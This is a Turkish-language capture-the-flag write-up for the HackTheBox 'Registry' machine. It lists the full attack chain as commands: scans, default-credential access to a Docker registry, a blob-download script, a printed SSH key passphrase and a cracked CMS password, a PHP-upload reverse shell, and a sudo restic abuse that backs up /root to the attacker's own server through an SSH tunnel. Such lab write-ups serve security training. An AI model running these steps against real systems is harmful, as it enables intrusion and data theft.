HackTheBox - Registry Çözümü

Giriş

Registry HackTheBoxta 40 puanlık “Zor” kategorisinde bir makine. Makine üzerinde kolay, tahmin edilebilir bir şifre kullanılmış private docker registry sunucusu mevcut. Bu sunucudaki docker imajında ana host üzerinde bir kullanıcıya ait ssh anahtarı bulunuyor, saldırgan bu anahtarın şifresini de biraz araştırmayla bulduktan sonra ana makineye ilk erişimi sağlayabiliyor. Sunucuda Bolt adında bir CMS var ve bu uygulamanın admin kullanıcısının hashi kolay bir şekilde kırılabiliyor. www-data kullanıcısının root yetkisiyle restic adlı programı kullanarak sunucunun yedeklemesini yapma yetkisi mevcut. Sunucunun yedeklemesi yapıldıktan sonra ana sunucuda root yetkisine erişilebiliyor.

İlk inceleme

Port taraması

Her zaman olduğu gibi nmap ile başlıyoruz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 λ ~/Desktop/htb/machines/registry nmap -sVCS -T5 -oA nmap/initial 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 13:40 EDT
Nmap scan report for registry.htb (10.10.10.159)
Host is up (0.092s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.66 seconds

Ssl sertifikası bize docker.registry.htb hostunu veriyor
Bu hostu /etc/hosts dosyasına aşağıdaki gibi ekledim

1
10.10.10.159 registry.htb docker.registry.htb

İçerik keşfi

1
2
λ ~/Desktop/htb/machines/registry gobuster dir -u https://registry.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt  -x php,html -t 50 -k
λ ~/Desktop/htb/machines/registry gobuster dir -u https://docker.registry.htb -w /opt/SecLists/Discovery/Web-Content/common.txt -x php,html -t 50 -k

Uzantıları kaba kuvvetle arayarak aşağıdaki linkleri buldum.

1
2
3
4
https://registry.htb/install/
https://registry.htb/index.html
https://registry.htb/backup.php
https://docker.registry.htb/v2

Install bitiş noktası

Buraya ilk bakışta bir şeyler garip gelmişti, nasıl bir dosya olduğuna göz atmak için bu bitiş noktasının index dosyasını indirip nasıl bir dosya diye baktım.

Gzip dosyası içinde bir ca sertifikası ve bir readme dosyası içeriyordu

1
2
3
4
5
 λ ~/Desktop/htb/machines/registry/install cat readme.md 
# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

Readme dosyası bana ne olup ne bittiğine anlamama yardımcı oldu. Bu aşamada sunucuda private docker registry sunucusu olduğunu anladım ve büyük ihtimal üzerinde çalışacağım, inceleyeceğim imajlar içerecekti

En yaygın kullanıcı adı şifre kombinasyonlarından biri olan admin:admin ile giriş yapabildim

Ve bu aşamadan sonra bu bitiş noktasından da docker imajlarına erişeceğim çok bariz gözüküyordu

Private Docker Registry

https://docker.registry.htb/v2 bitiş noktasını daha fazla incelemek istedim

1
gobuster dir  -u https://docker.registry.htb/v2 -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt  -t 50 -k

/_catalog (Status: 401)

Kimlik doğrulama için basic authorization headerı kullanılıyordu

1
2
 λ ~/Desktop/htb/machines/registry curl -H "Authorization: Basic YWRtaW46YWRtaW4=" https://docker.registry.htb/v2/_catalog -k
{"repositories":["bolt-image"]}

Ve bu docker registry “bolt-image” adında bir imaja sahipti

Ca sertifikasının kurulumu

Docker imajını kendi localime indirebilmem için ca sertifikasını kurmam gerekiyordu

Readmedeki bu link gayet basit bir şekilde neler yapmam gerektiğini anlatıyordu, anlatılanları birebir uygulayarak sertifikayı kurdum
https://docs.docker.com/engine/security/certificates/

Docker imajının indirilmesi

Kalide docker kurmak isteyenler aşağıdaki linki takip edebilirler
https://docs.docker.com/install/linux/docker-ce/debian/

1
2
3
4
service docker start 
docker login -u admin -p admin docker.registry.htb:443
docker pull docker.registry.htb:443/bolt-image:latest
docker run -it docker.registry.htb:443/bolt-image:latest bash

Ssh anahtarı

/root/.ssh/id_rsa anaharı şifreliydi ve bu anahtar bolt@registry.htb için yapılmıştı

Fakat hiç bir kelime listesiyle bu anahtarı kıramadım. Ssh anahtarının şifresinin bir yerlerde olacağını tahmin ederek daha fazla incelemeye devam ettim.

Bloblar

Docker registrynin yapısını aşağıdaki link gayet güzel bir şekilde anlatıyor.
https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/

Bloblar aşağıdaki formattaki gibi indirilebiliyor
https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b

Bütün blobları indirmek için küçük bir script yazdım

1
2
3
4
5
6
input="blobs"
while IFS= read -r blob
do
echo $blob
wget --header 'Authorization: Basic YWRtaW46YWRtaW4=' $blob --no-check-certificate
done < "$input"

Bloblardan bir tanesi ssh anahtarının şifresini içeriyordu

Şifre : GkOcz221Ftb3ugog

Daha kolay çalışmak için ssh anahtarını açtım
openssl rsa -in id_rsa -out id_rsa.decoded

Bolt kullanıcısıyla ssh

Daha ileri inceleme

Bu aşamada sunucu hakkında daha iyi bilgi sahibi olmak için linpeas scriptini çalıştırdım

Web sunucusunda ilk aşamalarda göremediğim bir dizin daha vardı

Linpeas otomatik olarak sqlite dosyalarındaki tablolardan verileri dışarı çıkartıp bana gösteriyordu ve burda admin kullanıcısının hashini gördüm

Rockyou kelime listesi ile basit bir şekilde kırıldı

www-data kullanıcısına düşme

admin:strawberry

/var/www/html/ dizininin altına yazma iznimiz yoktu
Bolt CMSye giriş yaptıktan sonra, sunucuya kolayca dosya yüklenebiliyordu fakat bir takım kısıtlamalar mevcuttu
Şanslıyım ki ben admin kullanıcısıydım ve uygulama üzerinde tam yetkim mevcuttu, konfigürasyon dosyalarını değiştirebiliyordum

Config.yml dosyasını birazcık değiştirdim ve php dosyalarını yüklemeyi kabul etmesine izin verdim

https://registry.htb/bolt/bolt/file/edit/config/config.yml

www-data kullanıcısıyla basit bir tersine bağlantı aldım

Roota yolculuk

Genelde bir kullanıcıya erişim sağladığımda sudo girdilerini incelemek ilk yaptığım şeyler arasındadır.
www-data kullanıcısı root yetkisiyle çalıştırabileceği bir girdiye sahipti

1
2
3
4
5
6
7
8
www-data@bolt:~$ sudo -l
sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*

Restic sunucusunu kurma

Biraz araştırma yaptıktan sonra restic in bir yedekleme programı olduğunu ve başka sunuculara da bu yedeklenmenin yönlendirilebileceğini gördüm

www-data kullanıcısı herhangi bir dosyayı herhangi bir restic sunucusu üzerinde saklayabiliyordu, harika !

Kalimde bir restic sunucusu hazırladım

Bunun için aşağıdaki linki takip edebilirsiniz
https://github.com/restic/rest-server

1
2
3
4
apt install restic
restic init -r ~Desktop/htb/machines/registry/backup/

rest-server --no-auth --path ~Desktop/htb/machines/registry/backup/

Yedekleme işlemi

Bu işlem için 8000 portunu sunucuya ilerletmem gerekiyordu

1
ssh -i .ssh/id_rsa.decoded bolt@registry.htb -R 8000:127.0.0.1:8000

Bu aşamada interaktif bir kabuğunuz olduğundan emin olun çünkü restic sizden karşıdaki kaynağın şifresini soracak

1
sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ /root

Geriye çevirmek

Dönüm noktasını geriye çevirdim.

1
restic restore aea5ab4b940c530b9f0679d1da33fc7497958936308d8f9b0c50ebad735ed1b5 --target ~/Desktop/htb/machines/registry/root_backup -r ~/Desktop/htb/machines/registry/backup

Bitiş

Dönüm noktasını geriye çevirdikten sonra, root kullanıcısının ssh anahtarı olduğunu gördüm ve kullandım

\o/

Vee root olarak makineyi bitirdim

Bu makine için thek‘ e teşekkürler…

Okuduğunuz için teşekkürler, her hangi bir sorunuz olursa herhangi bir yerden ulaşmaktan çekinmeyin